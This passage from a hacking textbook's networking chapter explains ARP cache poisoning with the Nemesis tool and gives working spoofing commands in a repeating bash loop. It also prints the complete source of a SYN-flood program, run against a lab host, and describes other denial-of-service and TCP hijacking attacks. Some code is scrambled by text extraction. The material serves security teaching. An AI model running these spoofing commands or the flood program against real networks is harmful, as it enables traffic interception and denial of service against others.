After pinging, the MAC addresses for both 192.168.0.118 and 192.168.0.1 are in the attacker’s ARP cache. This way, packets can reach their final destinations after being redirected to the attacker’s machine. Assuming IP forwarding capabilities are compiled into the kernel, all we need to do is send some spoofed ARP replies at regular intervals. 192.168.0.118 needs to be told that 192.168.0.1 is at 00:00:AD:D1:C7:ED, and 192.168.0.1 needs to be
N et wor kin g

241

told that 192.168.0.118 is also at 00:00:AD:D1:C7:ED. These spoofed ARP packets can be injected using a command-line packet injection tool called Nemesis. Nemesis was originally a suite of tools written by Mark Grimes, but in the most recent version 1.4, all functionality has been rolled up into a single utility by the new maintainer and developer, Jeff Nathan. The source code for Nemesis is on the LiveCD at /usr/src/nemesis-1.4/, and it has already been built and installed. reader@hacking:~/booksrc $ nemesis NEMESIS -=- The NEMESIS Project Version 1.4 (Build 26) NEMESIS Usage: nemesis [mode] [options] NEMESIS modes: arp dns ethernet icmp igmp ip ospf (currently non-functional) rip tcp udp NEMESIS options: To display options, specify a mode with the option "help". reader@hacking:~/booksrc $ nemesis arp help ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) ARP/RARP Usage: arp [-v (verbose)] [options] ARP/RARP Options: -S -D -h -m -s -r ({ARP,RARP} REPLY enable) -R (RARP enable) -P Data -d -H -M Link Options:

You must define a Source and Destination IP address.

242

0x 400

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED M 00:C0:F0:79:3D:30 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [Ethernet type] ARP (0x0806) [Protocol addr:IP] [Hardware addr:MAC] [ARP opcode] [ARP hardware fmt] [ARP proto format] [ARP protocol len] [ARP hardware len] 192.168.0.1 > 192.168.0.118 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 Reply Ethernet (1) IP (0x0800) 6 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB ARP Packet Injected reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] [Hardware addr:MAC] [ARP opcode] [ARP hardware fmt] [ARP proto format] [ARP protocol len] [ARP hardware len] 192.168.0.118 > 192.168.0.1 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 Reply Ethernet (1) IP (0x0800) 6 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected reader@hacking:~/booksrc $

These two commands spoof ARP replies from 192.168.0.1 to 192.168.0.118 and vice versa, both claiming that their MAC address is at the attacker’s MAC address of 00:00:AD:D1:C7:ED. If these commands are repeated every 10 seconds, these bogus ARP replies will continue to keep the ARP caches poisoned and the traffic redirected. The standard BASH shell allows commands to be scripted, using familiar control flow statements. A simple BASH shell while loop is used below to loop forever, sending our two poisoning ARP replies every 10 seconds. reader@hacking:~/booksrc $ while true > do

N et wor kin g

243

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30 > sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 > echo "Redirecting..." > sleep 10 > done ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.1 > 192.168.0.118 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected Redirecting...

You can see how something as simple as Nemesis and the standard BASH shell can be used to quickly hack together a network exploit. Nemesis uses a C library called libnet to craft spoofed packets and inject them. Similar to libpcap, this library uses raw sockets and evens out the inconsistencies between platforms with a standardized interface. libnet also provides several convenient functions for dealing with network packets, such as checksum generation. The libnet library provides a simple and uniform API to craft and inject network packets. It’s well documented and the functions have descriptive names. A high-level glance at the source code for Nemesis shows how easy it is to craft ARP packets using libnet. The source file nemesis-arp.c contains several functions for crafting and injecting ARP packets, using statically defined
244
0x 400

data structures for the packet header information. The nemesis_arp() function shown below is called in nemesis.c to build and inject an ARP packet. From nemesis-arp.c static ETHERhdr etherhdr; static ARPhdr arphdr; ... void nemesis_arp(int argc, char **argv) { const char *module= "ARP/RARP Packet Injection"; nemesis_maketitle(title, module, version); if (argc > 1 && !strncmp(argv[1], "help", 4)) arp_usage(argv[0]); arp_initdata(); arp_cmdline(argc, argv); arp_validatedata(); arp_verbose(); if (got_payload) { if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file, (const u_int32_t)PAYLOADMODE) < 0) arp_exit(1); } if (buildarp(ðerhdr, &arphdr, &pd, device, reply) < 0) { printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP")); arp_exit(1); } else { printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP")); arp_exit(0); } }

The structures ETHERhdr and ARPhdr are defined in the file nemesis.h (shown below) as aliases for existing libnet data structures. In C, typedef is used to alias a data type with a symbol. From nemesis.h typedef typedef typedef typedef struct struct struct struct libnet_arp_hdr ARPhdr; libnet_as_lsa_hdr ASLSAhdr; libnet_auth_hdr AUTHhdr; libnet_dbd_hdr DBDhdr;

N et wor kin g

245

typedef typedef typedef typedef typedef

struct struct struct struct struct

libnet_dns_hdr DNShdr; libnet_ethernet_hdr ETHERhdr; libnet_icmp_hdr ICMPhdr; libnet_igmp_hdr IGMPhdr; libnet_ip_hdr IPhdr;

The nemesis_arp() function calls a series of other functions from this file: arp_initdata(), arp_cmdline(), arp_validatedata(), and arp_verbose(). You can probably guess that these functions initialize data, process command-line arguments, validate data, and do some sort of verbose reporting. The arp_initdata() function does exactly this, initializing values in statically declared data structures. The arp_initdata() function, shown below, sets various elements of the header structures to the appropriate values for an ARP packet. From nemesis-arp.c static void arp_initdata(void) { /* defaults */ etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */ memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */ memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet destination address */ arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */ arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */ arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */ arphdr.ar_hln = 6; /* 6 byte hardware addresses */ arphdr.ar_pln = 4; /* 4 byte protocol addresses */ memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */ memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */ memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */ memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */ pd.file_mem = NULL; pd.file_s = 0; return; }

Finally, the nemesis_arp() function calls the function buildarp() with pointers to the header data structures. Judging from the way the return value from buildarp() is handled here, buildarp() builds the packet and injects it. This function is found in yet another source file, nemesis-proto_arp.c. From nemesis-proto_arp.c int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device, int reply) { int n = 0; u_int32_t arp_packetlen; static u_int8_t *pkt; struct libnet_link_int *l2 = NULL; /* validation tests */

246

0x 400

if (pd->file_mem == NULL) pd->file_s = 0; arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s; #ifdef DEBUG printf("DEBUG: ARP packet length %u.\n", arp_packetlen); printf("DEBUG: ARP payload size %u.\n", pd->file_s); #endif if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL) { nemesis_device_failure(INJECTION_LINK, (const char *)device); return -1; } if (libnet_init_packet(arp_packetlen, &pkt) == -1) { fprintf(stderr, "ERROR: Unable to allocate packet memory.\n"); return -1; } libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type, NULL, 0, pkt); libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H); n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H + LIBNET_ARP_H + pd->file_s); if (verbose == 2) nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE); if (verbose == 3) nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE); if (n != arp_packetlen) { fprintf(stderr, "ERROR: Incomplete packet injection. Only " "wrote %d bytes.\n", n); } else { if (verbose) { if (memcmp(eth->ether_dhost, (void *)&one, 6)) { printf("Wrote %d byte unicast ARP request packet through " "linktype %s.\n", n, nemesis_lookup_linktype(l2->linktype)); } else { printf("Wrote %d byte %s packet through linktype %s.\n", n,
N et wor kin g

247

(eth->ether_type == ETHERTYPE_ARP ? "ARP" : "RARP"), nemesis_lookup_linktype(l2->linktype)); } } } libnet_destroy_packet(&pkt); if (l2 != NULL) libnet_close_link_interface(l2); return (n); }

At a high level, this function should be readable to you. Using libnet functions, it opens a link interface and initializes memory for a packet. Then, it builds the Ethernet layer using elements from the Ethernet header data structure and then does the same for the ARP layer. Next, it writes the packet to the device to inject it, and finally cleans up by destroying the packet and closing the interface. The documentation for these functions from the libnet man page is shown below for clarity. From the libnet Man Page libnet_open_link_interface() opens a low-level packet interface. This is required to write link layer frames. Supplied is a u_char pointer to the interface device name and a u_char pointer to an error buffer. Returned is a filled in libnet_link_int struct or NULL on error. libnet_init_packet() initializes a packet for use. If the size parameter is omitted (or negative) the library will pick a reasonable value for the user (currently LIBNET_MAX_PACKET). If the memory allocation is successful, the memory is zeroed and the function returns 1. If there is an error, the function returns -1. Since this function calls malloc, you certainly should, at some point, make a corresponding call to destroy_packet(). libnet_build_ethernet() constructs an ethernet packet. Supplied is the destination address, source address (as arrays of unsigned characterbytes) and the ethernet frame type, a pointer to an optional data payload, the payload length, and a pointer to a pre-allocated block of memory for the packet. The ethernet packet type should be one of the following: Value ETHERTYPE_PUP ETHERTYPE_IP ETHERTYPE_ARP ETHERTYPE_REVARP ETHERTYPE_VLAN ETHERTYPE_LOOPBACK Type PUP protocol IP protocol ARP protocol Reverse ARP protocol IEEE VLAN tagging Used to test interfaces

libnet_build_arp() constructs an ARP (Address Resolution Protocol) packet. Supplied are the following: hardware address type, protocol address type, the hardware address length, the protocol address length, the ARP packet type, the sender hardware address, the sender protocol address, the target hardware address, the target protocol address, the packet payload, the payload size, and finally, a pointer to the packet header memory. Note that this function

248

0x 400

only builds ethernet/IP ARP packets, and consequently the first value should be ARPHRD_ETHER. The ARP packet type should be one of the following: ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY, ARPOP_INVREQUEST, or ARPOP_INVREPLY. libnet_destroy_packet() frees the memory associated with the packet. libnet_close_link_interface() closes an opened low-level packet interface. Returned is 1 upon success or -1 on error.

With a basic understanding of C, API documentation, and common sense, you can teach yourself just by examining open source projects. For example, Dug Song provides a program called arpspoof, included with dsniff, that performs the ARP redirection attack. From the arpspoof Man Page
NAME arpspoof - intercept packets on a switched LAN SYNOPSIS arpspoof [-i interface] [-t target] host DESCRIPTION arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch. Kernel IP forwarding (or a userland program which accomplishes the same, e.g. fragrouter(8)) must be turned on ahead of time. OPTIONS -i interface Specify the interface to use. -t target Specify a particular host to ARP poison (if not hosts on the LAN). host

specified, all

Specify the host you wish to intercept packets for (usually the local gateway).

SEE ALSO dsniff(8), fragrouter(8) AUTHOR Dug Song

The magic of this program comes from its arp_send() function, which also uses libnet to spoof packets. The source code for this function should be readable to you, since many of the previously explained libnet functions are used (shown in bold below). The use of structures and an error buffer should also be familiar.
N et wor kin g

249

arpspoof.c static struct libnet_link_int *llif; static struct ether_addr spoof_mac, target_mac; static in_addr_t spoof_ip, target_ip; ... int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa) { char ebuf[128]; u_char pkt[60]; if (sha == NULL && (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) { return (-1); } if (spa == 0) { if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) return (-1); spa = htonl(spa); /* XXX */ } if (tha == NULL) tha = "\xff\xff\xff\xff\xff\xff"; libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, op, sha, (u_char *)&spa, tha, (u_char *)&tpa, NULL, 0, pkt + ETH_H); fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha)); if (op == ARPOP_REQUEST) { fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n", ether_ntoa((struct ether_addr *)tha), libnet_host_lookup(tpa, 0), libnet_host_lookup(spa, 0)); } else { fprintf(stderr, "%s 0806 42: arp reply %s is-at ", ether_ntoa((struct ether_addr *)tha), libnet_host_lookup(spa, 0)); fprintf(stderr, "%s\n", ether_ntoa((struct ether_addr *)sha)); } return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt)); }

250

0x 400

The remaining libnet functions get hardware addresses, get the IP address, and look up hosts. These functions have descriptive names and are explained in detail on the libnet man page. From the libnet Man Page libnet_get_hwaddr() takes a pointer pointer to the network device name, error. The function returns the MAC success or 0 upon error (and errbuf to a link layer interface struct, a and an empty buffer to be used in case of address of the specified interface upon will contain a reason).

libnet_get_ipaddr() takes a pointer to a link layer interface struct, a pointer to the network device name, and an empty buffer to be used in case of error. Upon success the function returns the IP address of the specified interface in host-byte order or 0 upon error (and errbuf will contain a reason). libnet_host_lookup() converts the supplied network-ordered (big-endian) IPv4 address into its human-readable counterpart. If use_name is 1, libnet_host_lookup() will attempt to resolve this IP address and return a hostname, otherwise (or if the lookup fails), the function returns a dotteddecimal ASCII string.

Once you’ve learned how to read C code, existing programs can teach you a lot by example. Programming libraries like libnet and libpcap have plenty of documentation that explains all the details you may not be able to divine from the source alone. The goal here is to teach you how to learn from source code, as opposed to just teaching how to use a few libraries. After all, there are many other libraries and a lot of existing source code that uses them.

0x450 Denial of Service
One of the simplest forms of network attack is a Denial of Service (DoS) attack. Instead of trying to steal information, a DoS attack simply prevents access to a service or resource. There are two general forms of DoS attacks: those that crash services and those that flood services. Denial of Service attacks that crash services are actually more similar to program exploits than network-based exploits. Often, these attacks are dependent on a poor implementation by a specific vendor. A buffer overflow exploit gone wrong will usually just crash the target program instead of directing the execution flow to the injected shellcode. If this program happens to be on a server, then no one else can access that server after it has crashed. Crashing DoS attacks like this are closely tied to a certain program and a certain version. Since the operating system handles the network stack, crashes in this code will take down the kernel, denying service to the entire machine. Many of these vulnerabilities have long since been patched on modern operating systems, but it’s still useful to think about how these techniques might be applied to different situations.

N et wor kin g

251

0x451 SYN Flooding
A SYN flood tries to exhaust states in the TCP/IP stack. Since TCP maintains “reliable” connections, each connection needs to be tracked somewhere. The TCP/IP stack in the kernel handles this, but it has a finite table that can only track so many incoming connections. A SYN flood uses spoofing to take advantage of this limitation. The attacker floods the victim’s system with many SYN packets, using a spoofed nonexistent source address. Since a SYN packet is used to initiate a TCP connection, the victim’s machine will send a SYN/ACK packet to the spoofed address in response and wait for the expected ACK response. Each of these waiting, half-open connections goes into a backlog queue that has limited space. Since the spoofed source addresses don’t actually exist, the ACK responses needed to remove these entries from the queue and complete the connections never come. Instead, each half-open connection must time out, which takes a relatively long time. As long as the attacker continues to flood the victim’s system with spoofed SYN packets, the victim’s backlog queue will remain full, making it nearly impossible for real SYN packets to get to the system and initiate valid TCP/IP connections. Using the Nemesis and arpspoof source code as reference, you should be able to write a program that performs this attack. The example program below uses libnet functions pulled from the source code and socket functions previously explained. The Nemesis source code uses the function libnet_get_prand() to obtain pseudo-random numbers for various IP fields. The function libnet_seed_prand() is used to seed the randomizer. These functions are similarly used below. synflood.c
#include #define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms. /* Returns an IP in x.x.x.x notation */ char *print_ip(u_long *ip_addr_ptr) { return inet_ntoa( *((struct in_addr *)ip_addr_ptr) ); }

int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf("Usage:\n%s\t \n", argv[0]); exit(1); }

252

0x 400

dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host dest_port = (u_short) atoi(argv[2]); // The port

network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface. if (network == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(packet_size, &packet); // Allocate memory for packet. if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); // Seed the random number generator. printf("SYN Flooding port %d of %s..\n", while(1) // loop forever (until break by { libnet_build_ip(LIBNET_TCP_H, // IPTOS_LOWDELAY, // libnet_get_prand(LIBNET_PRu16), // 0, // libnet_get_prand(LIBNET_PR8), // IPPROTO_TCP, // libnet_get_prand(LIBNET_PRu32), // dest_ip, // NULL, // 0, // packet); // dest_port, print_ip(&dest_ip)); CTRL-C) Size of the packet sans IP header. IP tos IP ID (randomized) Frag stuff TTL (randomized) Transport protocol Source IP (randomized) Destination IP Payload (none) Payload length Packet header memory

libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random) dest_port, // Destination TCP port libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized) libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized) TH_SYN, // Control flags (SYN flag set only) libnet_get_prand(LIBNET_PRu16), // Window size (randomized) 0, // Urgent pointer NULL, // Payload (none) 0, // Payload length packet + LIBNET_IP_H); // Packet header memory if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet. if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size); usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds. } libnet_destroy_packet(&packet); // Free packet memory. if (libnet_close_raw_sock(network) == -1) // Close the network interface.

N et wor kin g

253

libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); return 0; }

This program uses a print_ip() function to handle converting the u_long type, used by libnet to store IP addresses, to the struct type expected by inet_ntoa(). The value doesn’t change—the typecasting just appeases the compiler. The current release of libnet is version 1.1, which is incompatible with libnet 1.0. However, Nemesis and arpspoof still rely on the 1.0 version of libnet, so this version is included in the LiveCD and this is also what we will use in our synflood program. Similar to compiling with libpcap, when compiling with libnet, the flag -lnet is used. However, this isn’t quite enough information for the compiler, as the output below shows. reader@hacking:~/booksrc $ gcc -o synflood synflood.c -lnet In file included from synflood.c:1: /usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll" synflood.c:6: error: syntax error before string constant reader@hacking:~/booksrc $

The compiler still fails because several mandatory define flags need to be set for libnet. Included with libnet, a program called libnet-config will output these flags. reader@hacking:~/booksrc $ libnet-config --help Usage: libnet-config [OPTIONS] Options: [--libs] [--cflags] [--defines] reader@hacking:~/booksrc $ libnet-config --defines -D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H -DLIBNET_LIL_ENDIAN

Using the BASH shell’s command substitution in both, these defines can be dynamically inserted into the compile command. reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o synflood synflood.c -lnet reader@hacking:~/booksrc $ ./synflood Usage: ./synflood reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./synflood 192.168.42.88 22 Fatal: can't open network interface. -- this program must run as root. reader@hacking:~/booksrc $ sudo ./synflood 192.168.42.88 22 SYN Flooding port 22 of 192.168.42.88..

254

0x 400

In the example above, the host 192.168.42.88 is a Windows XP machine running an openssh server on port 22 via cygwin. The tcpdump output below shows the spoofed SYN packets flooding the host from apparently random IPs. While the program is running, legitimate connections cannot be made to this port. reader@hacking:~/booksrc $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S 751659999:751659999(0) win 14609 17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S 139725579:139725579(0) win 64357 17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S 322318966:322318966(0) win 43747 17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S 685911671:685911671(0) win 62957 17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S 71363071:71363071(0) win 30490 17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S 1420507902:1420507902(0) win 53397 17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S 2144342837:2144342837(0) win 10594 17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S 1185734766:1185734766(0) win 57243 17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S 1825734966:1825734966(0) win 43454 17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S 1042470133:1042470133(0) win 7087 17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S 1767717206:1767717206(0) win 50156 17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S 2127701542:2127701542(0) win 23682 17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S 2069757602:2069757602(0) win 4767 17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S 1429854465:1429854465(0) win 2092 17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S 1524034954:1524034954(0) win 26970 15 packets captured 30 packets received by filter 0 packets dropped by kernel reader@hacking:~/booksrc $ ssh -v 192.168.42.88 OpenSSH_4.3p2, OpenSSL 0.9.8c 05 Sep 2006 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22. debug1: connect to address 192.168.42.88 port 22: Connection refused ssh: connect to host 192.168.42.88 port 22: Connection refused reader@hacking:~/booksrc $

Some operating systems (for example, Linux) use a technique called syncookies to try to prevent SYN flood attacks. The TCP stack using syncookies adjusts the initial acknowledgment number for the responding SYN/ACK packet using a value based on host details and time (to prevent replay attacks).
N et wor kin g

255

The TCP connections don’t actually become active until the final ACK packet for the TCP handshake is checked. If the sequence number doesn’t match or the ACK never arrives, a connection is never created. This helps prevent spoofed connection attempts, since the ACK packet requires information to be sent to the source address of the initial SYN packet.

0x452 The Ping of Death
According to the specification for ICMP, ICMP echo messages can only have 216, or 65,536, bytes of data in the data part of the packet. The data portion of ICMP packets is commonly overlooked, since the important information is in the header. Several operating systems crashed if they were sent ICMP echo messages that exceeded the size specified. An ICMP echo message of this gargantuan size became affectionately known as “The Ping of Death.” It was a very simple hack exploiting a vulnerability that existed because no one ever considered this possibility. It should be easy for you to write a program using libnet that can perform this attack; however, it won’t be that useful in the real world. Modern systems are all patched against this vulnerability. However, history tends to repeat itself. Even though oversized ICMP packets won’t crash computers anymore, new technologies sometimes suffer from similar problems. The Bluetooth protocol, commonly used with phones, has a similar ping packet on the L2CAP layer, which is also used to measure the communication time on established links. Many implementations of Bluetooth suffer from the same oversized ping packet problem. Adam Laurie, Marcel Holtmann, and Martin Herfurt have dubbed this attack Bluesmack and have released source code by the same name that performs this attack.

0x453 Teardrop
Another crashing DoS attack that came about for the same reason was called teardrop. Teardrop exploited another weakness in several vendors’ implementations of IP fragmentation reassembly. Usually, when a packet is fragmented, the offsets stored in the header will line up to reconstruct the original packet with no overlap. The teardrop attack sent packet fragments with overlapping offsets, which caused implementations that didn’t check for this irregular condition to inevitably crash. Although this specific attack doesn’t work anymore, understanding the concept can reveal problems in other areas. Although not limited to a Denial of Service, a recent remote exploit in the OpenBSD kernel (which prides itself on security) had to do with fragmented IPv6 packets. IP version 6 uses more complicated headers and even a different IP address format than the IPv4 most people are familiar with. Often, the same mistakes made in the past are repeated by early implementations of new products.

256

0x 400

0x454 Ping Flooding
Flooding DoS attacks don’t try to necessarily crash a service or resource, but instead try to overload it so it can’t respond. Similar attacks can tie up other resources, such as CPU cycles and system processes, but a flooding attack specifically tries to tie up a network resource. The simplest form of flooding is just a ping flood. The goal is to use up the victim’s bandwidth so that legitimate traffic can’t get through. The attacker sends many large ping packets to the victim, which eat away at the bandwidth of the victim’s network connection. There’s nothing really clever about this attack—it’s just a battle of bandwidth. An attacker with greater bandwidth than a victim can send more data than the victim can receive and therefore deny other legitimate traffic from getting to the victim.

0x455 Amplification Attacks
There are actually some clever ways to perform a ping flood without using massive amounts of bandwidth. An amplification attack uses spoofing and broadcast addressing to amplify a single stream of packets by a hundred-fold. First, a target amplification system must be found. This is a network that allows communication to the broadcast address and has a relatively high number of active hosts. Then the attacker sends large ICMP echo request packets to the broadcast address of the amplification network, with a spoofed source address of the victim’s system. The amplifier will broadcast these packets to all the hosts on the amplification network, which will then send corresponding ICMP echo reply packets to the spoofed source address (i.e., to the victim’s machine). This amplification of traffic allows the attacker to send a relatively small stream of ICMP echo request packets out, while the victim gets swamped with up to a couple hundred times as many ICMP echo reply packets. This attack can be done with both ICMP packets and UDP echo packets. These techniques are known as smurf and fraggle attacks, respectively.
Amplification network A F B G C H D I E J All hosts respond to the spoofed source address Spoofed packet from victim’s address sent to the broadcast address of the amplification network

Attacker

Victim

N et wor kin g

257

0x456 Distributed DoS Flooding
A distributed DoS (DDoS) attack is a distributed version of a flooding DoS attack. Since bandwidth consumption is the goal of a flooding DoS attack, the more bandwidth the attacker is able to work with, the more damage they can do. In a DDoS attack, the attacker first compromises a number of other hosts and installs daemons on them. Systems installed with such software are commonly referred to as bots and make up what is known as a botnet. These bots wait patiently until the attacker picks a victim and decides to attack. The attacker uses some sort of a controlling program, and all of the bots simultaneously attack the victim with some form of flooding DoS attack. Not only does the great number of distributed hosts multiply the effect of the flooding, this also makes tracing the attack source much more difficult.

0x460

TCP/IP Hijacking
TCP/IP hijacking is a clever technique that uses spoofed packets to take over a connection between a victim and a host machine. This technique is exceptionally useful when the victim uses a one-time password to connect to the host machine. A one-time password can be used to authenticate once and only once, which means that sniffing the authentication is useless for the attacker. To carry out a TCP/IP hijacking attack, the attacker must be on the same network as the victim. By sniffing the local network segment, all of the details of open TCP connections can be pulled from the headers. As we have seen, each TCP packet contains a sequence number in its header. This sequence number is incremented with each packet sent to ensure that packets are received in the correct order. While sniffing, the attacker has access to the sequence numbers for a connection between a victim (system A in the following illustration) and a host machine (system B). Then the attacker sends a spoofed packet from the victim’s IP address to the host machine, using the sniffed sequence number to provide the proper acknowledgment number, as shown here. src : 192.168.0.100 dst : 192.168.0.200 seq #: 1429775000 ack #: 1250510000 len : 24

System A
192.168.0.100

System B
192.168.0.200

src : 192.168.0.200 dst : 192.168.0.100 seq #: 1250510000 ack #: 1429775024 len : 167

Attacker system

src : 192.168.0.100 dst : 192.168.0.200 seq #: 1429775024 ack #: 1250510167 len : 71

258

0x 400

The host machine will receive the spoofed packet with the correct acknowledgment number and will have no reason to believe it didn’t come from the victim machine.

0x461 RST Hijacking
A very simple form of TCP/IP hijacking involves injecting an authentic-looking reset (RST) packet. If the source is spoofed and the acknowledgment number is correct, the receiving side will believe that the source actually sent the reset packet, and the connection will be reset. Imagine a program to perform this attack on a target IP. At a high level, it would sniff using libpcap, then inject RST packets using libnet. Such a program doesn’t need to look at every packet but only at established TCP connections to the target IP. Many other programs that use libpcap also don’t need to look at every single packet, so libpcap provides a way to tell the kernel to only send certain packets that match a filter. This filter, known as a Berkeley Packet Filter (BPF), is very similar to a program. For example, the filter rule to filter for a destination IP of 192.168.42.88 is "dst host 192.168.42.88". Like a program, this rule consists of keyword and must be compiled before it’s actually sent to the kernel. The tcpdump program uses BPFs to filter what it captures; it also provides a mode to dump the filter program. reader@hacking:~/booksrc $ sudo tcpdump -d "dst host 192.168.42.88" (000) ldh [12] (001) jeq #0x800 jt 2 jf 4 (002) ld 